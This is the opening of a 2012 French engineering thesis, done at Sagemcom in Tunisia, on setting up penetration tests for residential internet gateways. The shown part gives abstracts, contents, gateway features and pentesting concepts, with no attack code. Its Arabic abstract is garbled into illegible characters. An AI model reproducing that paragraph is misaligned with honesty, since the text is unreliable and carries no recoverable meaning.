Mise en place d’une solution de tests de sécurité pour les passerelles résidentielles

Ministère de l’Enseignement Supérieur

et de la Recherche Scientifique

Université de Carthage

Institut National des Sciences

Appliquées et de Technologie

Projet de Fin d’Etudes

Pour l’obtention du

Diplôme National d’Ingénieur

en Sciences Appliquées et en Technologie

Filière : Réseaux informatiques et télécommunications

Sujet :

Mise en place d’une solution de tests de sécurité pour

les passerelles résidentielles

Réalisé par : Salmen HITANA

Entreprise d’accueil :

Soutenu le 25/01/2012

Responsables entreprise : Raouf BEN SAÏD

Dorra BEN AMARA

Responsable INSAT: Kamel KAROUI

Année Universitaire : 2011/2012

السالمة المعلوماتية للعبارات المنزلية برمجية إختبارات إنشاء

ذرج هذا انعم انذي أجش ف شزكت سجاو كىو ض يشزوع خخى انذراساث انجايعت نهحصىل عهى شهادة : ملخص

إخخباراث انساليت انعهىياحت وهذف هذا انشزوع إنى وضع يجىعت ي . يهذص ف انشبكاث اإلعاليت واإلحصاالث

إ يىقع (. أو انهاكزس)انخ حهذف إنى انخأكذ ي يقاويت انجسىر انشنت نههجاث انحخهت ي قبم قزاصت االخزج

وانشبكت انذاخهت ف انشل، جعهه ( االخزج)انجسز انشن ف انشبكاث وانذي ثم قطت وصم ب انشبكاث انخارجت

، خذيت انهاحف عبز االخزج، UPnPانشبكت انسهكت و انالسهكت، : ع انحاوريعزض نهكثز ي هجاث انهاكزس عهى ج

.اإلخخباراث سخى حجزبخها عهى يجىعت ي انعباراث انشنت نهخأكذ ي فاعهخها. واجهاث انسخخذو نخحكى

انساليت انعهىياحت، انعباراث انشنت، انهاكزس، هجت، ثغزة : المفاتيح

Mise en place d’une solution de tests de sécurité pour les passerelles résidentielles

Résumé: Le présent travail, effectué au sein de l’entreprise "SagemCom", entre dans le cadre

du projet de fin d’études pour l’obtention du diplôme national d’ingénieur en Réseau

Informatique et Télécommunication. L’objectif de ce projet est la mise en place d’une

solution de tests de sécurité pour les terminaux résidentiels. Ces terminaux sont le cœur même

de tout réseau particulier ou professionnel. Conscient du fait que les passerelles sont

hautement exposées aux risques liés à la sécurité informatique, ce plan va couvrir des

scénarios envisageables et toucher à toutes les fonctionnalités de la passerelle (accès réseau,

Wifi, UPnP, VoIP, IHM). Ces tests seront finalement lancés sur une panoplie de produits

SagemCom (différents types des TRs) permettant de valider la pertinence de l’environnement

de test proposé.

Mots-clés : terminaux résidentiels, sécurité, pentesting, exploits, failles

Set up of a security test plan for residential gateways

Abstract: This work, done within the company "Sagemcom" is part of the project

for obtaining Computer and Network Engineer Telecommunication National Graduation. The

objective of this project is the establishment of a security testing solution for residential

terminals. These terminals are the heart of any particular or professional network. Aware that

the bridges are highly exposed to risks related to computer security, a test plan will

cover possible scenarios and touch all functionality of the gateway (network access, WiFi,

UPnP, VoIP, IHM). These tests will eventually be launched on a wide range of Sagemcom

products to validate the proposed test environment.

Key Word: Gateway, Security, hacking, pentesting, vulnerability

Intitule et adresse complète de l’entreprise :

Entreprise : SagemCom

Adresse : 34, avenue de Paris, 2033 Megrine, Ben Arous, Tunisie

Tél. : +216 71 297 100

Fax :

Email : [email protected]

Remerciements

u terme de ce projet de fin d’études, mes vifs

remerciements sont dédiés à tous ceux qui ont

contribué, directement ou indirectement à l’élaboration

de ce projet.

En premier lieu, j’exprime ma gratitude au Docteur Kamel

KAROUI pour sa confiance, ses directives, ses conseils et pour

m’avoir accordé son temps.

Je voudrais également exprimer ma reconnaissance envers M.

Raouf BEN SAÏD et Mlle. Dorra BEN AMARA qui m’ ont

encadré pendant ce projet avec beaucoup de disponibilité.

Je voudrais témoigner par la suite ma reconnaissance à toutes

les personnes qui m’ont également fait bénéficier de leurs

conseils et de leurs expériences en particulier M. Zied TLILI,

ingénieur validation chez SagemCom.

Toutefois, il faut souligner que ce travail n’aurait pu voir le

jour sans le savoir faire acquis dans mon honorable institut

l’Institut National des Sciences Appliquées et de Technologie.

C’est donc avec une immense fierté que j’adresse mes

remerciements les plus distingués à tous mes enseignants.

A

Table des Matières

Page i

................................................................................................................... 1

...................................................................................................... 4

1.PRESENTATION DE L’ORGANISME D’ACCUEIL ............................................................ 4

1.1.SagemCom Tunisie .......................................................................................................................... 5

1.2.Sagemcom Software & Technologies ............................................................................................. 5

2.PRESENTATION DU PROJET ............................................................................................. 6

2.1.Contexte du projet............................................................................................................................ 6

2.2.Objectifs du projet ........................................................................................................................... 7

2.3.Planification du déroulement du projet ........................................................................................ 7

CONCLUSION ............................................................................................................................ 8

............................................................................................................. 9

1.LES TERMINAUX RESIDENTIELS ..................................................................................... 9

1.1.Présentation des Terminaux Résidentiels: .................................................................................... 9

1.2.Les TRs SagemCom ........................................................................................................................ 10

1.2.1.Accès internet haut débit...................................................................................................... 10

1.2.2.Téléphonie ............................................................................................................................. 10

1.2.3.TV sur IP ................................................................................................................................. 11

1.2.4.Connectivité ........................................................................................................................... 11

1.2.5.Autres utilitaires et services ................................................................................................ 12

2.TESTS DE PENETRATION (PENTESTING) ...................................................................14

2.1.Présentation du pentesting .......................................................................................................... 14

2.2.Types du « Pentesting » ................................................................................................................. 14

2.3.Pentesting : Méthodologie et standard ........................................................................................ 15

2.3.1.OSSTMM .................................................................................................................................. 15

2.3.2.OWASP .................................................................................................................................... 16

2.3.3.Autres standards et méthodologies: ................................................................................... 17

CONCLUSION ..........................................................................................................................17

..............19

1.MODULE RESEAU...............................................................................................................20

1.1.Ports, services et OS ....................................................................................................................... 20

1.1.1.Scan des ports ........................................................................................................................ 21

1.1.2.Scan des services ................................................................................................................... 25

1.1.3.Détection d’OS ....................................................................................................................... 26

Table des Matières

Page ii

1.1.4.Outils de scan des ports ........................................................................................................ 26

1.2.Scan des vulnérabilités ................................................................................................................. 27

1.2.1.Types de scan des vulnérabilités ......................................................................................... 28

1.2.2.Outils de scan des vulnérabilités ......................................................................................... 29

1.3.Exploits et autres types d’attaques .............................................................................................. 33

1.3.1.Exploits ................................................................................................................................... 33

1.3.2.Autres types d’attaques ........................................................................................................ 33

2.MODULE UPNP ...................................................................................................................34

2.1.Présentation ................................................................................................................................... 34

2.2.Risques et vulnérabilités ............................................................................................................... 35

2.3.Outils de tests ................................................................................................................................. 37

3.MODULE WIFI .....................................................................................................................38

3.1.Présentation ................................................................................................................................... 38


3.3.Outils de tests ................................................................................................................................. 40

4.MODULE VOIP ....................................................................................................................41

4.1.Présentation ................................................................................................................................... 41

4.2.Protocole VoIP ................................................................................................................................ 41


4.4.Outils de tests ................................................................................................................................. 44

CONCLUSION ..........................................................................................................................45

.........................................................................................46

1.ENVIRONNEMENT DE TEST ............................................................................................47

1.1.Environnement matériel ............................................................................................................... 47

1.2.Environnement logiciel ................................................................................................................. 47

1.2.1.Les systèmes d’exploitation dédiés sécurité ...................................................................... 47

1.2.2.Choix du système d’exploitation le plus adéquat .............................................................. 48

1.3.Architecture réseau de la plateforme de tests............................................................................. 49

2.MODULE RESEAU...............................................................................................................50

2.1.Scan des ports, services et OS........................................................................................................ 50

2.1.1.Outils de tests......................................................................................................................... 50

2.1.2.Tests réalisés ......................................................................................................................... 51

2.1.3.Profils de scan Zenmap ......................................................................................................... 55

2.2.Scan des vulnérabilités ................................................................................................................. 56

2.2.1.Scanneurs des vulnérabilités automatiques ...................................................................... 57

2.2.2.Scanneurs des vulnérabilités Web ...................................................................................... 60

Table des Matières

Page iii

2.3.Attaques et exploits ....................................................................................................................... 62

2.3.1.Outils de tests ........................................................................................................................ 63

2.3.2.Tests réalisés ......................................................................................................................... 63

2.3.3.Anciennes attaques ............................................................................................................... 71

3.MODULE UPNP ...................................................................................................................73

3.1.Présentation des tests ................................................................................................................... 73

3.2.Tests realisés.................................................................................................................................. 73

4.MODULE WIFI .....................................................................................................................75


4.2.Tests réalisés.................................................................................................................................. 76

4.MODULE VOIP ....................................................................................................................78


4.2.Tests réalisés.................................................................................................................................. 78

4.2.1.Déni de service....................................................................................................................... 78

4.2.2.Vol de session......................................................................................................................... 79

CONCLUSION ..........................................................................................................................80

...............................................................................81

...................................................................................................................82

..............................................................................................................................85

............................................................................................... 88

............................................................................. 89

....................................................................... 89

............................................ 91

................................................................ 92

Liste des Figures

Page iv

Figure 1 : Logo SagemCom ................................................................................................................4

Figure 2 : Organigramme de SagemCom .............................................................................................5

Figure 3 : Produits SagemCom ............................................................................................................6

Figure 4 : Diagramme de Gantt représentant les principales étapes du projet .......................................8

Figure 5 : Connectivité et services des TRs SagemCom..................................................................... 11

Figure 6 : TCP Scan (sur un port ouvert) ........................................................................................... 22

Figure 7 : SYN Scan (sur un port ouvert) .......................................................................................... 22

Figure 8 : Fin Scan (sur un port ouvert) ............................................................................................. 23

Figure 9 : XMAS Scan (sur un port ouvert) ....................................................................................... 23

Figure 10 : TCP Null Scan (sur un port ouvert) ................................................................................. 23

Figure 11 : Utiliser un port source autorisé pendant le scan ............................................................... 24

Figure 12 : Scan ACK ....................................................................................................................... 24

Figure 13 : Evaluation des resultats ................................................................................................... 32

Figure 14 : Temps d'exécutions du scan ............................................................................................ 32

Figure 15 : Principaux profils UPnP et actions .................................................................................. 35

Figure 16 : Redirection vers une autre adresse locale ......................................................................... 36

Figure 17 : Redirection vers l'adresse locale du TR ........................................................................... 36

Figure 18 : Redirection vers une autre adresse WAN ......................................................................... 37

Figure 19 : Exemple d'appel .............................................................................................................. 43

Figure 20 : Logo BackTrack ............................................................................................................. 48

Figure 21 : Menu BackTrack ............................................................................................................. 49

Figure 22 : Architecture réseau de la plateforme de test ..................................................................... 49

Figure 23 : Profil Zenmap ................................................................................................................. 51

Liste des Figures

Page v

Figure 24 : Résultat d’un simple scan des ports et services ................................................................ 54

Figure 25 : Exemple détection d'OS .................................................................................................. 55

Figure 26 : Page de connexion .......................................................................................................... 58

Figure 27 : Créer profile .................................................................................................................... 58

Figure 28 : Configuration des plugins................................................................................................ 59

Figure 29 : Exemple du résultat ......................................................................................................... 60

Figure 30 : Exemple Fuzzing ............................................................................................................ 61

Figure 31 : Architecture réseau de l'attaque ....................................................................................... 64

Figure 32 : Fenetre XCHAT (Administrateur) ................................................................................... 64

Figure 33 : Interface LOIC ................................................................................................................ 65

Figure 34 : Lancement de l'attaque .................................................................................................... 66

Figure 35 : Capture de trafic lors de l'attaque ..................................................................................... 71

Figure 36 : Attaque à base de l’IP Spoofing....................................................................................... 72

Figure 37 : Détection des équipements UPnP sur le réseau ................................................................ 74

Figure 38 : Action AddPortMapping ................................................................................................. 74

Figure 39 : Actions GetSpecificPortMapping et GetGenricPortMapping............................................ 75

Figure 40 : Capture de messages de signalisation (SIP) ..................................................................... 79

Liste des Tables

Page vi

Tableau 1 : Règles du pare-feu .......................................................................................................... 12

Tableau 2 : Classification OSSTMM ................................................................................................. 16

Tableau 3 : Etat du port par type du scan et réponse .......................................................................... 25

Tableau 4 : Tableau comparatif des outils de scan ............................................................................. 27

Tableau 5 : Tableau comparatif des scanneurs des vulnérabilités automatiques. ................................. 31

Tableau 6 : Liste des outils et leurs critères. ...................................................................................... 31

Tableau 7 : Requêtes SIP .................................................................................................................. 42

Tableau 8 : Codes de réponses SIP .................................................................................................... 42

Tableau 10 : Tests owasp réalisés ...................................................................................................... 61

Tableau 11 : Liste des tests ............................................................................................................... 88

Introduction

Page 1

’est en pleine guerre froide que l’internet est née, est ce pour maintenir les

télécommunications opérationnelles et parées à toute épreuve en cas d’une apocalypse des

suites de l’exécution des menaces Américano-Russe sur le monde: La grande phobie, était à

l’époque, une attaque nucléaire... Heureusement pour le monde, rien ne fût…

En 1969, le réseau internet comptait alors, uniquement quatre machines et était restreint,

limité, et bien sur fermé sur le monde extérieur. Avec l’amélioration des équipements et des

technologies de communication, l’internet était de moins en moins une innovation réservée à une élite

de militaires et de scientifiques et s’ouvrait peu à peu au grand public et ce avec la naissance du

premier réseau international à aiguillage de paquets en 1978, l’adoption d’un protocole unique de

transport -TCP/IP- en 1983 et du web en 1989 [1] et de la montée de l’intérêt commercial qu’offrait

une pareille technologie.

C’est ainsi qu’en 1989 que le premier fournisseur d’accès internet via le réseau téléphonique

vit le jour : la compagnie Américaine The World avait alors ouvert la voie à une véritable explosion de

fournisseurs de services internet partout dans le monde [2] qui proposaient à leurs clients des débits de

plus en plus élevés, et ce en jouant sur les technologies d’accès internet, ainsi que des services de plus

en plus diversifiés.

En effet, l’évolution des technologies de transmission de données telles que l’image et le son

ainsi que la multitude d’innovations et d’inventions qui ont vu le jour à l’égard des passerelles

résidentielles, des téléphones sur IP, des décodeurs IP, des téléphones intelligents et autres tablettes…

tous capable de se connecter au réseaux de données mondial à totalement bouleversé l’expérience des

utilisateurs de l’Internet.

Ainsi de nos jours, les fournisseurs d’accès internet (FAI) offrent plusieurs services autres que

le simple accès à internet dont le fameux Triple Play, qui n’est rien de plus qu’une offre commerciale

et dont le succès n’est plus à prouver : plus de vingt millions d’abonnés, rien qu’en France [3]. Cette

offre inclut l’accès à internet, la téléphonie sur IP et la télévision numérique sur IP, indépendamment

de la technologie de transport utilisée par l’opérateur pour connecter son client au réseau Internet.

Pour parvenir à leurs fins, les FAI commercialisent très souvent leurs offres avec une

passerelle résidentielle adaptée aux services qu’ils désirent proposer ainsi qu’aux types de

technologies qu’ils possèdent pour le bon acheminement et fonctionnement de ces derniers. La

C

Introduction

Page 2

passerelle en question, sera alors, le véritable cœur de tout le réseau local et la borne de tous les

services utilisés par le client final.

En fait, la passerelle résidentielle permet de partager la connexion à Internet entre tous les

ordinateurs du réseau avec ou sans câbles. Elle permet également de connecter des téléphones et

terminaux analogiques pour accéder à des services de téléphonie sur IP (VoIP) et ce via la ligne

d’accès (XDSL, FTTH, Câble, etc). De plus, des équipements comme les décodeurs peuvent être

connectés à ces terminaux pour offrir des services supplémentaires comme la Télévision et la Vidéo à

la Demande (ou ultérieurement la visiophonie).

Cette multitude de services proposés et connectés en permanence au réseau Internet pose de

plus en plus le problème de la sécurité informatique vu la diversification des services tournant sur la

passerelle et sur les différents éléments du réseau local du client ainsi que suite aux constats suivants :

- la protection des systèmes informatiques, vis-à-vis des menaces planant sur ces derniers

suite à leur ouverture sur le monde numérique, est loin d’être parfaite.

- le nombre d'incidents et de vulnérabilités ne cesse de croître [4]. Cette augmentation n’a

malheureusement pas été accompagnée par des contre-mesures adéquates au niveau des

particuliers et des entreprises puisque, d’une part, ils n'appliquent pas une politique de

sécurité efficace pour protéger leurs systèmes informatiques faute de sensibilisation aux

risques encourus et d’autre part, ils sont incapables de suivre le rythme d’apparition des

vulnérabilités vu que les mécanismes de sécurité traditionnels sont aujourd’hui, de plus en

plus, contournés.

Dans un pareil contexte la passerelle résidentielle doit être le premier rempart contre les risques

sécuritaires provenant de l’internet.

Par conséquent, et dans le souci de construire des équipements dont la sécurité n’est non

seulement infaillible mais aussi le plus à jour possible et de les proposer à ces principaux clients,

Sagemcom, constructeur de passerelles résidentielles de renommée mondiale et un des principaux

fournisseurs des FAI tel que Orange (France, Tunisie) , Bouygues Telecom (France), Deutsch

Telekom (Allemagne), TDC ( Danemark) , Bell Canada ( Canada ), etc, se propose de mettre en place

une solution de test de sécurité et de pénétrations pour ses terminaux afin de garantir leur bon

fonctionnement et leur haute disponibilité face à des attaques connues lors des phases de

développement et de validation des produits.

Et c’est dans ce cadre, que se situe notre projet de fin d’études, effectué au sein de la société

SagemCom qui a pour objectif d’établir l’étude, le benchmarking et la mise en place de plusieurs

Introduction

Page 3

outils d’audit de sécurité ainsi que l’élaboration d’un plan de tests couvrant les principales failles et

risques connus.

Le présent rapport organisé en quatre chapitres, présente les différentes étapes du déroulement

du projet. Dans un premier temps une présentation du contexte du projet illustre notre travail. Le

deuxième chapitre est consacré à la présentation des terminaux résidentiels ainsi que les tests de

sécurité ou le pentesting. Le troisième chapitre sera réservé à la description des différents modules

présents sur les passerelles résidentielles, les risques qui se posent et le benchmarking des outils

possibles pour réaliser des tests de pénétration sur celles ci. Finalement, le quatrième chapitre, est

consacré à la mise en place de notre solution de tests de sécurité des passerelles résidentielles.

Chapitre 1 Contexte du projet

Page 4

Ce premier chapitre est consacré à la présentation du contexte général du projet. Le travail

ayant été réalisé au sein de la société SagemCom, nous commencerons donc, par une présentation

générale de l‘organisme d‘accueil. Ensuite, nous entamerons une description de notre projet afin

d’expliciter son contexte, son objectif ainsi que les différentes étapes identifiées afin de parfaire notre

ce stage.

1. Présentation de l’organisme d’accueil

Figure 1 Logo SagemCom

Groupe français de haute technologie à dimension internationale, Sagemcom opère sur les

marchés du haut-débit (maison numérique, décodeurs, box Internet, téléphonie et terminaux


Page 5

multimédia), des télécoms, de l’énergie (M2M1, infrastructures télécoms, compteurs communicants et

management de l’énergie) et de la gestion de documents (terminaux d’impression, logiciels et

solutions, dématérialisation). Le groupe Sagemcom est composé d'une soixantaine d'entités, présentes

dans plus de 40 pays. En Afrique, la seule entité est implémentée en Tunisie, SagemCom Tunisie et

SagemCom Software & Technologies. Ci-dessous l’organigramme de SagemCom :

Figure 2 Organigramme de SagemCom

1.1. SagemCom Tunisie

SagemCom est une nouvelle unité industrielle offshore, spécialisée dans l’électronique et les

équipements de télécommunications. Elle a été officiellement inaugurée le 10 juin 2003 à « Ben Arous

». Cette unité produit essentiellement des récepteurs à télécommande centralisée, des câbles en fibres

optiques et des cartes magnétiques (5 millions de cartes par an) et 1,5 million de produits finis. L’unité

emploie plus de 1600 personnes dont plus de 270 ingénieurs et techniciens supérieurs.

SagemCom est aussi un acteur majeur dans les domaines de la communication mobile et de la

communication haut débit, ayant acquis des positions mondiales grâce à un fort potentiel d’innovation.

1.2. Sagemcom Software & Technologies

Sagem Software et Technologies (SS&T) est un centre de recherche et de développement qui a

été créé le 18 juillet 2005. Elle opère dans le domaine des télécommunications, du traitement et de la

transmission numérique de l’information et des développements axés sur les technologies émergentes.

Cette cellule internationale emploie plus de 350 ingénieurs spécialisés dans :

1 M2M : Le concept de machine to machine, utilise les télécommunications et l'informatique pour permettre des

communications entre machines, et ceci sans intervention humaine.


Page 6

La conception et le développement de logiciels pour les décodeurs TV numériques sous

Linux embarqué.

Le développement des Drivers Windows et des logiciels d’installation des équipements

Sagemcom à l’égard des terminaux d’impression.

Le test, l’intégration et la validation d’équipements et de systèmes de télécommunications

dont les passerelles résidentielles.

Figure 3 Produits SagemCom

2. Présentation du projet

Au cours de cette section, nous présentons le contexte de notre projet et ses objectifs. Le

planning du travail est détaillé par la suite.

2.1. Contexte du projet

Les terminaux résidentiels Sagemcom offrent des solutions à haute connectivité moyennant

diverses technologies d’accès et une multitude de services. Ces terminaux sont le cœur même de tout

réseau particulier ou professionnel. Conscient du fait que les passerelles sont hautement exposées aux

risques liés à la sécurité informatique (le piratage, l’intrusion et l’ingénierie inverse, etc) et afin de

proposer des produits hautement sécurisés à ses clients particuliers et professionnels, Sagemcom

propose d’élaborer, au sein d’un projet de fin d’études, le benchmarking, l’étude et la mise en place de

plusieurs outils de tests de sécurité. Ce projet sera concrétisé par la mise en place d’un plan de test

couvrant les principales failles et risques connus se basant sur l’état de l’art actuel. Ainsi que la mise

en place des outils choisis, dans une position de test.

Un plan de test sera finalement lancé sur une panoplie de produits Sagemcom permettant de

valider la pertinence de l’environnement de test proposé. Suite aux résultats obtenus, une analyse

objective devra être établie en vue de dégager les points forts et faibles de la solution choisie, ainsi que

la pertinence des résultats des tests effectués.


Page 7

2.2. Objectifs du projet

Afin d’atteindre l’objectif principal du projet, qui consiste à la mise en place d’une plateforme

de tests de sécurité et la définition d’un plan de tests qui couvre la quasi-totalité des failles et

vulnérabilités possibles sur les Terminaux résidentiels, il faut assurer les sous-objectifs suivants :

Etablir un état de l’art en matière de piratage, intrusion, rétro ingénierie, etc touchant les

principaux axes de connectivités et des services offerts par les passerelles résidentielles.

Etablir une liste d’outils libres assurant le déploiement des attaques déterminées par l’état de

l’art et par la suite réaliser un comparatif des outils disponibles et se fixer des choix optimums

basés sur l’efficacité, la facilité de déploiement, la personnalisation, la popularité, etc.)

Dégager un plan de test clair assurant un test complet des produits sous tests. Ce plan va

couvrir jusqu’à 90% des scénarios envisageables et toucher à toutes les fonctionnalités de la

passerelle (accès réseau, Wifi, UPnP, VoIP, IHM)

Déployer les outils sur une position de test et les personnaliser pour répondre aux besoins de

sécurité soulevés dans les premiers chapitres et assurer une couverture optimale en adéquation

avec le plan de tests défini.

Dérouler une campagne de tests, sur au moins trois produits, basé sur le plan de test défini et

les outils mis en place. Une analyse des résultats va être établie et une critique objective sera

portée sur la plateforme et le plan de test en vue de la raffiner et réajuster, s’il est nécessaire.

2.3. Planification du déroulement du projet

Ce projet est divisé en cinq parties :

Etape 1 : Documentation sur les passerelles résidentielles (produits Sagemcom)

Etape 2 : Etude sur les différents attaques et failles possibles sur les TRs.

Etape 3 : Choix d’une liste d’outils assurant les attaques déterminées dans l’état de l’art et la

mise en place d’une plateforme de tests de sécurité

Etape 4 : Définition d’un plan de test clair qui couvre les services cibles d’attaques et qui

assure un audit complet des produits sous tests.

Etape 5 : Déroulement d’une campagne basée sur le plan de test défini.

En vue de modéliser cette organisation, nous avons eu recours à l’outil de gestion de projet SodeaSoft

Gnt Planning (Voir figure 4).


Page 8

Figure 4 Diagramme de Gantt représentant les principales étapes du projet

Conclusion

Dans ce premier chapitre, nous avons présenté la société SagemCom. Ensuite Nous avons

détaillé le cadre du projet, et expliciter la problématique à résoudre. Finalement, nous avons décrit les

différentes étapes du projet. Le chapitre suivant sera donc consacré aux notions de base relatives à

notre projet, notamment la description des terminaux résidentiels et les notions relatives aux tests de

pénétrations ou en terme anglo-saxon le pentesting.

Chapitre 2 Concepts de base

Page 9

Dans ce chapitre, nous entamerons par une description des passerelles résidentielles (ou

terminaux résidentiels), de leurs caractéristiques fonctionnelles et de leur importance grandissante

dans la vie quotidienne, grâce entre autres à leur rôle dans toute offre d’accès aux services Internet. Par

la suite, nous présenterons les tests de pénétrations, en mettant en évidence leur intérêt, vu la haute

exposition des passerelles aux risques liés à la sécurité informatique.

1. Les terminaux résidentiels

1.1. Présentation des Terminaux Résidentiels:

Un Terminal résidentiel (TR) ou passerelle est un point du réseau qui agit comme une entrée

vers un autre réseau. Dans un réseau d’entreprise ou domestique, les passerelles offrent l’accès aux

utilisateurs du réseau local vers le réseau WAN (internet). Une passerelle typique contient des

fonctionnalités basiques pour une utilisation simple, ainsi elle offre au moins un ensemble des services

suivants:

Accès internet via fibre optique (FTTH) ou ligne xDSL.

Réseau local câblé et point d’accès WIFI pour assurer la connectivité entre plusieurs

équipements (ordinateur portable, Tablet PC, Smart phone, etc).


Page 10

DHCP (Dynamic Host Configuration Protocol) pour offrir une configuration de réseau

TCP/IP fiable et simple, empêchant les conflits d'adresses et permettant le contrôle de

l'utilisation des adresses IP de façon centralisée.

NAT (Network Address Translation) pour déployer ou héberger des applications et des

services au sein d’un réseau local afin de les rendre accessibles de l’extérieur.

Firewall pour sécuriser le réseau local des attaques provenant de l’internet.

En plus de ces fonctionnalités basiques, les TRs offrent aussi les services suivants, selon les exigences

du fournisseur d’accès internet et de ses abonnés :

Voix sur IP (VoIP).

Service TV sur IP.

DNS dynamique pour permettre l’accès à distance à un quelconque service hébergé en local

par l’utilisateur.

UPnP pour interconnecter d’autres équipements tels que les périphériques de stockage,

console de jeux, téléphone UPnP, etc.

1.2. Les TRs SagemCom

Comme étant un leader mondial sur le marché des terminaux, SagemCom conçoit, produit et

met à disposition des opérateurs et des fournisseurs de services internet une gamme complète de home

Gateway permettant de mettre en œuvre de services d’accès haut débit et de solutions pour le réseau

numérique local [5]. Dans ce qui suit, nous allons introduire et décrire les différents modules et

fonctionnalités principalement offertes par ces TRs (Voir figure 5).

1.2.1. Accès internet haut débit

Doté d’une interface WAN universel (ADSL / ADSL2 / ADSL2+/VDSL2 et FTTH), les TRs

SagemCom permettent à son utilisateur de bénéficier d’un accès internet haut débit atteignant les 100

Mo/s pour exploiter les nouvelles technologies telles que la télévision et la téléphonie via internet etc.

1.2.2. Téléphonie

Les TRs SagemCom implémentent diverses technologies de téléphonie telles que la téléphonie

classique, fax compris, et la Voix sur IP. Pour exploiter ces technologies les TRs SagemCom offrent

aux utilisateurs la possibilité de connecter plusieurs types d’appareils téléphoniques (IP Phone, DECT,

téléphone, Fax).


Page 11

Figure 5 Connectivité et services des TRs SagemCom

1.2.3. TV sur IP

Les TRs SagemCom offrent la possibilité de s’abonner à des flux IP TV. Via une SetTopBox

connectée au TR l’utilisateur peut visualiser des flux vidéo soit en multicast soit à la demande (VOD).

1.2.4. Connectivité

Réseau local câblé

Les TRs SagemCom offre une solution complète pour l’interconnexion entre les différents

équipements via les interfaces Ethernet disponibles.


Page 12

Réseau sans fil (WIFI)

Les TRs SagemCom offrent la possibilité d’interconnecter les périphériques sans fils via le

WIFI. Ces TRs utilisent les trois normes connues du WIFI 802.11 b/g/n avec un débit qui peut

atteindre les 300MO/sec.

USB

Afin d’assurer la connectivité des différents équipements multimédia (imprimante, disque dur,

console de jeux, etc), les TR SagemCom utilise le protocole UPnP ainsi qu’un serveur DLNA pour le

partage de contenus multimédias.

1.2.5. Autres utilitaires et services

DHCP

Le TR SagemCom est à la fois un client DHCP et un serveur DHCP. A la mise sous tension,

le TR, comme étant un client DHCP, récupère les paramètres de connexion de son fournisseur d’accès

internet tels que l’adresse IP publique, la passerelle par défaut, le serveur DNS, le serveur NTP, etc.

Comme étant un serveur DHCP, le TR fournit aux équipements connectés à travers le réseau

local (sans fil et câblé) des paramètres de connexion tels que la plage d’adresse à utiliser, la passerelle

par défaut, etc.

Firewall

Afin d’assurer la sécurité du réseau local et le protéger des attaques provenant de l’extérieur,

les TRs SagemCom implémentent un pare-feu logiciel assurant trois niveaux de sécurité:

Niveau de sécurité Trafic entrant

trafic sortant

remarque

Elevé rejeter rejeter pour le trafic sortant, sauf pour les services suivants HTTP, HTTPS, Telnet, FTP, DNS, IMAP, POP3, SMTP.

Moyen rejeter accepter -

Bas accepter accepter -

Tableau 1 Règles du pare-feu

DMZ

La DMZ ou une zone démilitarisée est un sous-réseau séparé du réseau local et isolé de celui-

ci et d'Internet par un pare-feu. Ce sous-réseau contient les machines étant susceptibles d'être accédées

depuis Internet. Les TRs SagemCom offrent ce service d’une façon limitée, où on ne peut configurer

qu’un seul PC comme DMZ (une seule adresse IP et non pas un sous réseau).


Page 13

Port Forwarding

Le Port Forwarding ou redirection de port consiste à rediriger les paquets reçus d’un

ordinateur sur un port bien défini vers un autre ordinateur sur un autre port donné. Le Port Forwarding

est la combinaison de trois techniques :

La translation d’adresse ou/et du port dans les paquets reçues vers une autre destination.

L’acceptation des quelques paquets en se basant sur les règles du pare-feu.

Le routage des paquets suivant le table de routage.

DNS dynamique

Le DNS dynamique est une méthode qui permet à un utilisateur d’attacher un nom de domaine

à une adresse IP WAN (reçue de la part du FAI) sans se préoccuper du changement de cette adresse.

Ainsi, on peut héberger un serveur web, ftp ou n’importe quelle autre application internet dans le

réseau local et y accéder à travers ce nom de domaine. Cette fonctionnalité est configurable d’une

façon très simple, il suffit de choisir le fournisseur de service (no-ip, DynDns.org,…) et de donner le

login, le mot de passe et le nom de domaine personnel.

Configuration et approvisionnement automatique de services

La gamme des services offerts par les TRs devient de plus en plus complexe et par conséquent

elle impacte la simplicité de la configuration à distance. L’intégration des technologies TR-069 facilite

l’installation et l’approvisionnement automatique des services. La configuration et la mise à jour du

TR se fait à distance et d’une façon automatique selon le contrat entre l’abonné et son FAI. Cette

fonctionnalité est très importante pour les deux parties du contrat pour plusieurs raisons, parmi

lesquelles on cite :

La facilité de la tâche de configuration pour l’abonné.

L’activation ou la désactivation des services selon le contrat.

Interface d’administration

Interface WEB ou GUI : les TRs SagemCom offre un site web en local pour la

configuration. L’accès se fait par un navigateur (Firefox, chrome, etc) en introduisant un login

et un mot de passe.

Telnet : Via un PC connecté en local, un utilisateur (avancé) peut accéder au TR à travers

Telnet pour l’administrer et le configurer.

SSH : un utilisateur peut accéder d’une façon sécurisée avec SSH pour administrer et

configurer le TR.


Page 14

2. Tests de pénétration (Pentesting)

Vu que les TRs SagemCom offrent des solutions à haute connectivité à travers ses services, ils

sont hautement exposés aux risques liés à la sécurité informatique. Il est indispensable de vérifier leur

immunité face à ces risques réels et consistants. Pour cela, on a recours à des normes et des standards

dans le domaine de la sécurité informatique afin de remplir cette tâche.

2.1. Présentation du pentesting

Les tests de pénétration ou « Pentesting » est un ensemble de tests traduisant une méthode

d'évaluation de la sécurité d'un système informatique ou réseau en simulant une attaque malicieuse de

l’extérieur et les employés malveillants de l’intérieur. Le processus implique une analyse active du

système pour toutes les vulnérabilités potentielles qui pourraient résulter de la faiblesse de la

configuration du système et des défaillances liées aux défauts connus du hardware ou du software

utilisés. Cette analyse est effectuée en simulant un attaquant potentiel et peut dégager des exploitations

et des vulnérabilités au sein du système.

Les problèmes liés à la sécurité du système révélés à travers les tests de pénétration sont

présentés au propriétaire. Afin de réaliser des tests efficaces, le « Pentester » doit fournir des

évaluations précises et concrètes des impacts potentiels à l'organisation et définir la gamme des contre-

mesures techniques et procédurales pour réduire les risques.

Les tests de pénétration sont importants pour plusieurs raisons:

Déterminer la faisabilité d'un ensemble d'attaques.

Identifier les vulnérabilités à haut risque qui résultent d'une combinaison de quelques

vulnérabilités, de faible et de moyen risque, exploitables dans un ordre particulier.

Identifier les vulnérabilités qui peuvent être difficiles ou impossibles à détecter avec des outils

d’auto-évaluation des vulnérabilités.

Évaluer l'ampleur de l'activité opérationnelle et les impacts potentiels d’une ou plusieurs

attaques réussies.

Tester la robustesse du mécanisme de la sécurité mise en place au sein du système.

2.2. Types du « Pentesting »

Les tests de pénétrations peuvent être réalisés de plusieurs façons. Généralement, ils se

différent en fonction du taux d’informations disponibles avant le démarrage des tests. Dans ce cas, on

peut parler des notions de « boite noire » ou « boite blanche » connue sous le nom de Black box

testing et White box testing:


Page 15
